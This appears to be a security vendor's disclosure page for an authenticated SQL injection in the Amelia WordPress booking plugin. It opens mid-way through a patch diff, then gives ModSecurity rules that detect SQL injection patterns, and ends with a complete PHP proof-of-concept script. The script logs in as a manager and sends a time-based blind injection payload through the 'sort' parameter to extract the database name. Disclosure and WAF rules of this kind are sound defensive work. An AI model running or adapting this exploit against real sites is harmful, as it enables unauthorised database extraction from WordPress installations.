             $this->fillEmptyWorkDays($allWorkDays, $queryParams);
         }

--- a/ameliabooking/src/Application/Commands/Command.php
+++ b/ameliabooking/src/Application/Commands/Command.php
@@ -6,6 +6,7 @@
 use AmeliaBookingApplicationCommandsBookingAppointmentDeleteBookingRemotelyCommand;
 use AmeliaBookingApplicationCommandsBookingAppointmentSuccessfulBookingCommand;
 use AmeliaBookingApplicationCommandsNotificationUpdateSMSNotificationHistoryCommand;
+use AmeliaBookingApplicationCommandsOutlookFetchAccessTokenWithAuthCodeOutlookCommand;
 use AmeliaBookingApplicationCommandsPaymentCalculatePaymentAmountCommand;
 use AmeliaBookingApplicationCommandsSquareDisconnectFromSquareAccountCommand;
 use AmeliaBookingApplicationCommandsSquareSquareRefundWebhookCommand;
@@ -187,6 +188,7 @@
             !($this instanceof SquareRefundWebhookCommand) &&
             !($this instanceof DisconnectFromSquareAccountCommand) &&
             !($this instanceof SuccessfulBookingCommand) &&
+            !($this instanceof FetchAccessTokenWithAuthCodeOutlookCommand) &&
             !($this instanceof UpdateSMSNotificationHistoryCommand)
         ) {
             $queryParams = $request->getQueryParams();
--- a/ameliabooking/src/Application/Commands/Entities/GetEntitiesCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Entities/GetEntitiesCommandHandler.php
@@ -432,12 +432,12 @@
         }

         /** Coupons */
+        // Deprecated for backend use; replaced by `/coupons` endpoint.
+        // Retained for public `/entities` route and API access.
         if (
             in_array(Entities::COUPONS, $params['types'], true) &&
             $this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::COUPONS)
         ) {
-            $coupons = $couponAS->getAll();
-
             /** @var CouponRepository $couponRepository */
             $couponRepository = $this->container->get('domain.coupon.repository');

@@ -447,6 +447,11 @@
             /** @var PackageRepository $packageRepository */
             $packageRepository = $this->container->get('domain.bookable.package.repository');

+            $coupons = $couponRepository->getFiltered(
+                ['page' => 1],
+                100
+            );
+
             if ($coupons->length()) {
                 foreach ($couponRepository->getCouponsServicesIds($coupons->keys()) as $ids) {
                     /** @var Coupon $coupon */
--- a/ameliabooking/src/Application/Commands/Google/VerifyRecaptchaCommand.php
+++ b/ameliabooking/src/Application/Commands/Google/VerifyRecaptchaCommand.php
@@ -0,0 +1,14 @@
+<?php
+
+namespace AmeliaBookingApplicationCommandsGoogle;
+
+use AmeliaBookingApplicationCommandsCommand;
+
+/**
+ * Class VerifyRecaptchaCommand
+ *
+ * @package AmeliaBookingApplicationCommandsGoogle
+ */
+class VerifyRecaptchaCommand extends Command
+{
+}
--- a/ameliabooking/src/Application/Commands/Google/VerifyRecaptchaCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Google/VerifyRecaptchaCommandHandler.php
@@ -0,0 +1,53 @@
+<?php
+
+namespace AmeliaBookingApplicationCommandsGoogle;
+
+use AmeliaBookingApplicationCommandsCommandHandler;
+use AmeliaBookingApplicationCommandsCommandResult;
+use AmeliaBookingApplicationCommonExceptionsAccessDeniedException;
+use AmeliaBookingDomainEntityEntities;
+
+/**
+ * Class VerifyRecaptchaCommandHandler
+ *
+ * @package AmeliaBookingApplicationCommandsGoogle
+ */
+class VerifyRecaptchaCommandHandler extends CommandHandler
+{
+    /**
+     * @param VerifyRecaptchaCommand $command
+     *
+     * @return CommandResult
+     * @throws AccessDeniedException
+     */
+    public function handle(VerifyRecaptchaCommand $command)
+    {
+        $result = new CommandResult();
+
+        if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::SETTINGS)) {
+            throw new AccessDeniedException('You are not allowed to read settings.');
+        }
+
+        $fields = $command->getFields();
+        $secret = isset($fields['secret']) ? $fields['secret'] : '';
+        $token  = isset($fields['token']) ? $fields['token'] : null;
+
+        /** @var AmeliaBookingInfrastructureServicesRecaptchaAbstractRecaptchaService $recaptchaService */
+        $recaptchaService = $this->getContainer()->get('infrastructure.recaptcha.service');
+
+        $verification = $recaptchaService->verifyWithSecret($secret, $token);
+
+        if ($verification['success']) {
+            $result->setResult(CommandResult::RESULT_SUCCESS);
+            $result->setMessage($verification['message']);
+        } else {
+            $result->setResult(CommandResult::RESULT_ERROR);
+            $result->setMessage($verification['message']);
+            if (isset($verification['error_codes'])) {
+                $result->setData(['error_codes' => $verification['error_codes']]);
+            }
+        }
+
+        return $result;
+    }
+}
--- a/ameliabooking/src/Application/Commands/Import/ImportCustomersCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Import/ImportCustomersCommandHandler.php
@@ -20,6 +20,7 @@
 use AmeliaBookingDomainValueObjectsNumberIntegerId;
 use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
 use AmeliaBookingInfrastructureRepositoryUserUserRepository;
+use AmeliaBookingInfrastructureWPTranslationsBackendStrings;
 use Exception;
 use InteropContainerExceptionContainerException;
 use SlimExceptionContainerValueNotFoundException;
@@ -114,6 +115,9 @@
         $existingEmails = $userRepository->getAllEmailsByType('customer');

         for ($i = 0; $i < $num; $i++) {
+            if ($data['firstName'][$i] === BackendStrings::get('first_name')) {
+                continue;
+            }
             try {
                 $customerData = [
                     'firstName' => $data['firstName'][$i],
--- a/ameliabooking/src/Application/Commands/QrCode/ScanQrCodeCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/QrCode/ScanQrCodeCommandHandler.php
@@ -8,7 +8,7 @@
 use AmeliaBookingApplicationServicesUserUserApplicationService;
 use AmeliaBookingDomainCommonExceptionsInvalidArgumentException;
 use AmeliaBookingDomainEntityBookingAppointmentCustomerBooking;
-use AmeliaBookingDomainEntityUserAbstractUser;
+use AmeliaBookingDomainEntityBookingEventEvent;
 use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
 use AmeliaBookingInfrastructureRepositoryBookingAppointmentCustomerBookingRepository;
 use AmeliaBookingDomainEntityEntities;
@@ -49,18 +49,22 @@
         $userAS = $this->container->get('application.user.service');

         if (!$command->getPermissionService()->currentUserCanWrite(Entities::BOOKINGS)) {
-            $user = $userAS->getAuthenticatedUser($command->getToken(), false, 'providerCabinet');
+            $user = $this->container->get('logged.in.user');

-            if ($user === null) {
-                $result->setResult(CommandResult::RESULT_ERROR);
-                $result->setMessage('Could not retrieve user');
-                $result->setData(
-                    [
-                        'reauthorize' => true
-                    ]
-                );
+            if (!$user || $user->getId() === null) {
+                $user = $userAS->getAuthenticatedUser($command->getToken(), false, 'providerCabinet');

-                return $result;
+                if ($user === null) {
+                    $result->setResult(CommandResult::RESULT_ERROR);
+                    $result->setMessage('Could not retrieve user');
+                    $result->setData(
+                        [
+                            'reauthorize' => true
+                        ]
+                    );
+
+                    return $result;
+                }
             }
         }

@@ -114,9 +118,10 @@

         /** @var EventRepository $eventRepository */
         $eventRepository = $this->container->get('domain.booking.event.repository');
-        $event = $eventRepository->getByBookingId($bookingId);
+        $eventId = $eventRepository->getByBookingId($bookingId)->getId()->getValue();
+        $event = $eventRepository->getById($eventId);

-        if ($event && $event->getStatus()->getValue() === 'rejected') {
+        if (!$event || $event->getStatus()->getValue() === 'rejected') {
             $result->setResult(CommandResult::RESULT_ERROR);
             $result->setMessage('Event is canceled');
             $result->setData([
@@ -127,6 +132,18 @@
             return $result;
         }

+        // Check if the scanned date is within the event's periods
+        if (!$this->isDateWithinEventPeriods($event, $scannedAt)) {
+            $result->setResult(CommandResult::RESULT_ERROR);
+            $result->setMessage('Ticket cannot be scanned for this date');
+            $result->setData([
+                'messageType' => 'error',
+                'message'     => 'ticket_not_valid_for_date',
+            ]);
+
+            return $result;
+        }
+
         $updated = false;

         $type = 'ticket';
@@ -144,18 +161,7 @@
                     isset($qrCode['ticketManualCode']) &&
                     hash_equals($qrCode['ticketManualCode'], $ticketManualCode)
                 ) {
-                    if (!array_key_exists($scannedAt, $qrCode['dates'])) {
-                        $result->setResult(CommandResult::RESULT_ERROR);
-                        $result->setMessage('Ticket cannot be scanned for this date');
-                        $result->setData([
-                            'messageType' => 'error',
-                            'message'     => 'ticket_not_valid_for_date',
-                        ]);
-
-                        return $result;
-                    }
-
-                    if ($qrCode['dates'][$scannedAt] === true) {
+                    if (isset($qrCode['dates'][$scannedAt]) && $qrCode['dates'][$scannedAt] === true) {
                         $result->setResult(CommandResult::RESULT_ERROR);
                         $result->setMessage('Ticket has already been scanned');
                         $result->setData([
@@ -182,18 +188,7 @@
                     isset($qrCode['ticketManualCode']) &&
                     hash_equals($qrCode['ticketManualCode'], $ticketManualCode)
                 ) {
-                    if (!array_key_exists($scannedAt, $qrCode['dates'])) {
-                        $result->setResult(CommandResult::RESULT_ERROR);
-                        $result->setMessage('Ticket cannot be scanned for this date');
-                        $result->setData([
-                            'messageType' => 'error',
-                            'message'     => 'ticket_not_valid_for_date',
-                        ]);
-
-                        return $result;
-                    }
-
-                    if ($qrCode['dates'][$scannedAt] === true) {
+                    if (isset($qrCode['dates'][$scannedAt]) && $qrCode['dates'][$scannedAt] === true) {
                         $result->setResult(CommandResult::RESULT_ERROR);
                         $result->setMessage('Group ticket has already been scanned');
                         $result->setData([
@@ -212,7 +207,7 @@

             // Check if any ticket is already scanned for this date
             foreach ($qrCodes as $qrCodeItem) {
-                if (array_key_exists($scannedAt, $qrCodeItem['dates']) && $qrCodeItem['dates'][$scannedAt] === true) {
+                if (isset($qrCodeItem['dates'][$scannedAt]) && $qrCodeItem['dates'][$scannedAt] === true) {
                     $ticketsControl++;
                 }
             }
@@ -229,13 +224,11 @@
             }

             $ticketsControl = 0;
-            // Mark all as scanned for this date
+            // Mark all tickets as scanned for this date
             foreach ($qrCodes as &$qr) {
-                if (array_key_exists($scannedAt, $qr['dates'])) {
-                    if ($qr['dates'][$scannedAt] === false) {
-                        $ticketsControl++;
-                        $qr['dates'][$scannedAt] = true;
-                    }
+                if (!isset($qr['dates'][$scannedAt]) || $qr['dates'][$scannedAt] === false) {
+                    $ticketsControl++;
+                    $qr['dates'][$scannedAt] = true;
                 }
             }
         }
@@ -270,4 +263,27 @@

         return $result;
     }
+
+    private function isDateWithinEventPeriods(Event $event, string $scannedAt): bool
+    {
+        if (!$event->getPeriods()) {
+            return false;
+        }
+
+        $scannedDateTime = DateTime::createFromFormat('Y-m-d', $scannedAt);
+        if (!$scannedDateTime) {
+            return false;
+        }
+
+        foreach ($event->getPeriods()->getItems() as $period) {
+            $periodStart = (clone $period->getPeriodStart()->getValue())->setTime(0, 0, 0);
+            $periodEnd = (clone $period->getPeriodEnd()->getValue())->setTime(23, 59, 59);
+
+            if ($scannedDateTime >= $periodStart && $scannedDateTime <= $periodEnd) {
+                return true;
+            }
+        }
+
+        return false;
+    }
 }
--- a/ameliabooking/src/Application/Commands/Settings/UpdateSettingsCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Settings/UpdateSettingsCommandHandler.php
@@ -6,6 +6,7 @@
 use AmeliaBookingApplicationCommandsCommandResult;
 use AmeliaBookingApplicationCommonExceptionsAccessDeniedException;
 use AmeliaBookingApplicationServicesLocationAbstractCurrentLocation;
+use AmeliaBookingApplicationServicesNotificationAbstractWhatsAppNotificationService;
 use AmeliaBookingApplicationServicesStashStashApplicationService;
 use AmeliaBookingDomainCollectionCollection;
 use AmeliaBookingDomainCommonExceptionsForbiddenFileUploadException;
--- a/ameliabooking/src/Application/Commands/User/Customer/UpdateCustomerCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/User/Customer/UpdateCustomerCommandHandler.php
@@ -123,6 +123,16 @@
         /** @var Customer $newUser */
         $newUser = UserFactory::create($newUserData);

+        $oldExternalId = $oldUser->getExternalId() ? $oldUser->getExternalId()->getValue() : null;
+        $newExternalId = $newUser->getExternalId() ? $newUser->getExternalId()->getValue() : null;
+
+        if ($oldExternalId !== $newExternalId && (!$currentUser || $currentUser->getType() !== AbstractUser::USER_ROLE_ADMIN)) {
+            $result->setResult(CommandResult::RESULT_ERROR);
+            $result->setMessage('Could not update user.');
+
+            return $result;
+        }
+
         // If the phone is not set and the old phone is set, set the phone and country phone iso to null
         if (empty($customerData['phone']) && $oldUser->getPhone() && $oldUser->getPhone()->getValue()) {
             $newUser->setPhone(new Phone(null));
--- a/ameliabooking/src/Application/Commands/WhatsNew/GetWhatsNewCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/WhatsNew/GetWhatsNewCommandHandler.php
@@ -90,8 +90,6 @@
         $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
         $curlError = curl_error($curl);

-        curl_close($curl);
-
         if ($response === false) {
             throw new Exception('Failed to fetch posts from API: ' . $curlError);
         }
--- a/ameliabooking/src/Application/Controller/Google/VerifyRecaptchaController.php
+++ b/ameliabooking/src/Application/Controller/Google/VerifyRecaptchaController.php
@@ -0,0 +1,45 @@
+<?php
+
+namespace AmeliaBookingApplicationControllerGoogle;
+
+use AmeliaBookingApplicationCommandsGoogleVerifyRecaptchaCommand;
+use AmeliaBookingApplicationControllerController;
+use SlimHttpRequest;
+
+/**
+ * Class VerifyRecaptchaController
+ *
+ * @package AmeliaBookingApplicationControllerGoogle
+ */
+class VerifyRecaptchaController extends Controller
+{
+    protected $allowedFields = [
+        'ameliaNonce',
+        'wpAmeliaNonce',
+        'secret',
+        'token'
+    ];
+
+    /**
+     * @param Request $request
+     * @param         $args
+     *
+     * @return VerifyRecaptchaCommand
+     */
+    protected function instantiateCommand(Request $request, $args)
+    {
+        $command     = new VerifyRecaptchaCommand($args);
+        $requestBody = $request->getParsedBody();
+
+        if (empty($requestBody)) {
+            $json = json_decode(file_get_contents('php://input'), true);
+            if (is_array($json)) {
+                $requestBody = $json;
+            }
+        }
+
+        $this->setCommandFields($command, $requestBody);
+
+        return $command;
+    }
+}
--- a/ameliabooking/src/Application/Services/Booking/EventApplicationService.php
+++ b/ameliabooking/src/Application/Services/Booking/EventApplicationService.php
@@ -1583,6 +1583,101 @@
             !empty($criteria['sort']) ? $criteria['sort'] : null
         );

+        if (!empty($criteria['fetchOccupancy'])) {
+            $spotsEventsIds = [];
+
+            $ticketsIds = [];
+
+            /** @var Event $event */
+            foreach ($events->getItems() as $event) {
+                if ($event->getCustomPricing() && $event->getCustomPricing()->getValue()) {
+                    $ticketsIds[] = $event->getId()->getValue();
+                } else {
+                    $spotsEventsIds[] = $event->getId()->getValue();
+                }
+            }
+
+            $spots = $spotsEventsIds ? $eventRepository->getEventsSpotsCount($spotsEventsIds) : [];
+
+            foreach ($spots as $eventId => $spotsData) {
+                if ($events->keyExists($eventId)) {
+                    /** @var Event $event */
+                    $event = $events->getItem($eventId);
+
+                    $event->setSpotsSold(
+                        new IntegerValue(
+                            (!empty($spotsData[BookingStatus::APPROVED]) ? $spotsData[BookingStatus::APPROVED] : 0) +
+                            (!empty($spotsData[BookingStatus::PENDING]) ? $spotsData[BookingStatus::PENDING] : 0)
+                        )
+                    );
+
+                    $event->setSpotsWaiting(
+                        new IntegerValue(
+                            !empty($spotsData[BookingStatus::WAITING]) ? $spotsData[BookingStatus::WAITING] : 0
+                        )
+                    );
+                }
+            }
+
+            $tickets = $ticketsIds ? $eventRepository->getEventsTicketsCount($ticketsIds) : [];
+
+            foreach ($tickets as $eventId => $ticketsData) {
+                if ($events->keyExists($eventId)) {
+                    /** @var Event $event */
+                    $event = $events->getItem($eventId);
+
+                    foreach ($ticketsData as $ticketId => $ticketData) {
+                        if ($event->getCustomTickets()->keyExists($ticketId)) {
+                            /** @var EventTicket $ticket */
+                            $ticket = $event->getCustomTickets()->getItem($ticketId);
+
+                            $ticket->setSold(
+                                new IntegerValue(
+                                    (!empty($ticketData[BookingStatus::APPROVED]) ? $ticketData[BookingStatus::APPROVED] : 0) +
+                                    (!empty($ticketData[BookingStatus::PENDING]) ? $ticketData[BookingStatus::PENDING] : 0)
+                                )
+                            );
+
+                            $ticket->setWaiting(
+                                new IntegerValue(
+                                    !empty($ticketData[BookingStatus::WAITING]) ? $ticketData[BookingStatus::WAITING] : 0
+                                )
+                            );
+                        }
+                    }
+                }
+            }
+
+            $statuses = $spotsEventsIds || $ticketsIds
+                ? $eventRepository->getEventsBookingsStatusesCount(array_merge($spotsEventsIds, $ticketsIds))
+                : [];
+
+            foreach ($statuses as $eventId => $statusesData) {
+                if ($events->keyExists($eventId)) {
+                    /** @var Event $event */
+                    $event = $events->getItem($eventId);
+
+                    $event->setBookingsApproved(
+                        new IntegerValue(
+                            (!empty($statusesData[BookingStatus::APPROVED]) ? $statusesData[BookingStatus::APPROVED] : 0)
+                        )
+                    );
+
+                    $event->setBookingsPending(
+                        new IntegerValue(
+                            (!empty($statusesData[BookingStatus::PENDING]) ? $statusesData[BookingStatus::PENDING] : 0)
+                        )
+                    );
+
+                    $event->setBookingsWaiting(
+                        new IntegerValue(
+                            (!empty($statusesData[BookingStatus::WAITING]) ? $statusesData[BookingStatus::WAITING] : 0)
+                        )
+                    );
+                }
+            }
+        }
+
         /** @var Collection $eventsBookings */
         $eventsBookings = $events->length() && !empty($criteria['fetchBookings']) ? $eventRepository->getBookingsByCriteria(
             [
@@ -1677,6 +1772,8 @@
                     $criteria['fetchEventsOrganizer'] : false,
                 'fetchEventsLocation'  => !empty($criteria['fetchEventsLocation']) ?
                     $criteria['fetchEventsLocation'] : false,
+                'fetchOccupancy'       => !empty($criteria['fetchOccupancy']) ?
+                    $criteria['fetchOccupancy'] : false,
             ]
         );

@@ -1747,8 +1844,9 @@

     /**
      * @param Event $event
-     *
+     * @param bool  $isFrontEnd
      * @return array
+     * @throws InvalidArgumentException
      */
     public function getEventInfo($event, $isFrontEnd = false)
     {
@@ -1779,13 +1877,15 @@
         $minimumReached = null;
         if ($event->getCloseAfterMin() !== null && $event->getCloseAfterMinBookings() !== null) {
             if ($event->getCloseAfterMinBookings()->getValue()) {
-                $approvedBookings = array_filter(
-                    $event->getBookings()->toArray(),
-                    function ($value) {
-                        return $value['status'] === 'approved';
-                    }
-                );
-                $minimumReached   = count($approvedBookings) >= $event->getCloseAfterMin()->getValue();
+                $approvedBookings = !$event->getBookings()->length() && $event->getBookingsApproved()
+                    ? $event->getBookingsApproved()->getValue()
+                    : count(array_filter(
+                        $event->getBookings()->toArray(),
+                        function ($value) {
+                            return $value['status'] === 'approved';
+                        }
+                    ));
+                $minimumReached   = $approvedBookings >= $event->getCloseAfterMin()->getValue();
             } else {
                 $minimumReached = $persons['booked'] >= $event->getCloseAfterMin()->getValue();
             }
@@ -1795,6 +1895,12 @@
         $eventSettings = $event->getSettings() ? json_decode($event->getSettings()->getValue(), true) : null;

         if ($eventSettings && !empty($eventSettings['waitingList']) && $eventSettings['waitingList']['enabled']) {
+            $peopleWaiting =
+                !$event->getBookings()->length() &&
+                $event->getBookingsWaiting() &&
+                $event->getBookingsWaiting()->getValue();
+
+            /** @var CustomerBooking $booking */
             foreach ($event->getBookings()->getItems() as $booking) {
                 if ($booking->getStatus()->getValue() === BookingStatus::WAITING) {
                     $peopleWaiting = true;
@@ -1902,6 +2008,15 @@
         $waiting = 0;

         if ($event->getCustomPricing()->getValue()) {
+            if ($event->getBookings()->length()) {
+                /** @var EventTicket $ticket */
+                foreach ($event->getCustomTickets()->getItems() as $ticket) {
+                    $ticket->setSold(new IntegerValue(0));
+
+                    $ticket->setWaiting(new IntegerValue(0));
+                }
+            }
+
             /** @var CustomerBooking $booking */
             foreach ($event->getBookings()->getItems() as $booking) {
                 /** @var CustomerBookingEventTicket $bookedTicket */
@@ -1943,6 +2058,12 @@

             $event->setMaxCapacity($event->getMaxCustomCapacity() ?: new IntegerValue($maxCapacity));
         } else {
+            if (!$event->getBookings()->length()) {
+                $persons = $event->getSpotsSold() ? $event->getSpotsSold()->getValue() : 0;
+
+                $waiting = $event->getSpotsWaiting() ? $event->getSpotsWaiting()->getValue() : 0;
+            }
+
             /** @var CustomerBooking $booking */
             foreach ($event->getBookings()->getItems() as $booking) {
                 if ($booking->getStatus()->getValue() === BookingStatus::APPROVED || $booking->getStatus()->getValue() === BookingStatus::PENDING) {
--- a/ameliabooking/src/Application/Services/Location/CurrentLocation.php
+++ b/ameliabooking/src/Application/Services/Location/CurrentLocation.php
@@ -36,7 +36,6 @@
             curl_setopt($curlHandle, CURLOPT_RETURNTRANSFER, 1);
             curl_setopt($curlHandle, CURLOPT_USERAGENT, 'Amelia');
             $result = json_decode(curl_exec($curlHandle));
-            curl_close($curlHandle);

             return !isset($result->country_code) ? '' : strtolower($result->country_code);
         } catch (Exception $e) {
--- a/ameliabooking/src/Application/Services/Notif

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4668
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1004668,phase:2,deny,status:403,chain,msg:'CVE-2026-4668 SQL Injection via Amelia plugin sort parameter',severity:'CRITICAL',tag:'CVE-2026-4668',tag:'WordPress',tag:'Amelia',tag:'SQLi'"
  SecRule ARGS_POST:action "@streq wpamelia_api_payments_get_payments" "chain"
    SecRule ARGS_POST:params.sort "@rx (?i)(?:sleep|benchmark|waitfor|pg_sleep)(s*d+s*)" 
      "t:none,t:urlDecodeUni,t:lowercase,setvar:'tx.amelia_sqli_attempt=1'"

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:1004669,phase:2,deny,status:403,chain,msg:'CVE-2026-4668 SQL Injection via Amelia plugin sort parameter - CASE statement detection',severity:'CRITICAL',tag:'CVE-2026-4668',tag:'WordPress',tag:'Amelia',tag:'SQLi'"
  SecRule ARGS_POST:action "@streq wpamelia_api_payments_get_payments" "chain"
    SecRule ARGS_POST:params.sort "@rx (?i)(?:cases+when|ifs*(|selects+case)" 
      "t:none,t:urlDecodeUni,t:lowercase,setvar:'tx.amelia_sqli_attempt=1'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4668 - Amelia <= 2.1.2 - Authenticated (Manager+) SQL Injection via 'sort' Parameter

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'manager_user';
$password = 'manager_password';

// Step 1: Authenticate to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Create a cookie jar for session persistence
$cookie_file = tempnam(sys_get_temp_dir(), 'amelia_cookie_');

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);

// Step 2: Exploit SQL injection via sort parameter
// Target the Amelia payments listing endpoint with time-based payload
$exploit_url = $target_url . '/wp-admin/admin-ajax.php';

// Malicious sort parameter with time-based SQL injection
// This payload tests if the first character of the database name is 'w'
$sql_payload = "CASE WHEN (SELECT IF(ASCII(SUBSTRING(DATABASE(),1,1))=119,SLEEP(5),0)) THEN amount ELSE created END";

$post_data = [
    'action' => 'wpamelia_api_payments_get_payments',
    'params[page]' => '1',
    'params[sort]' => $sql_payload,
    'params[limit]' => '10'
];

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));

// Measure response time to detect time-based injection
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$response_time = $end_time - $start_time;

curl_close($ch);

// Clean up cookie file
unlink($cookie_file);

// Analyze results
if ($response_time >= 5) {
    echo "[+] Time-based SQL injection successful! Response time: {$response_time} secondsn";
    echo "[+] The first character of the database name is 'w'n";
} else {
    echo "[-] Injection attempt failed or target not vulnerable. Response time: {$response_time} secondsn";
}

// Display raw response for debugging
echo "nResponse:n" . htmlspecialchars($response) . "n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School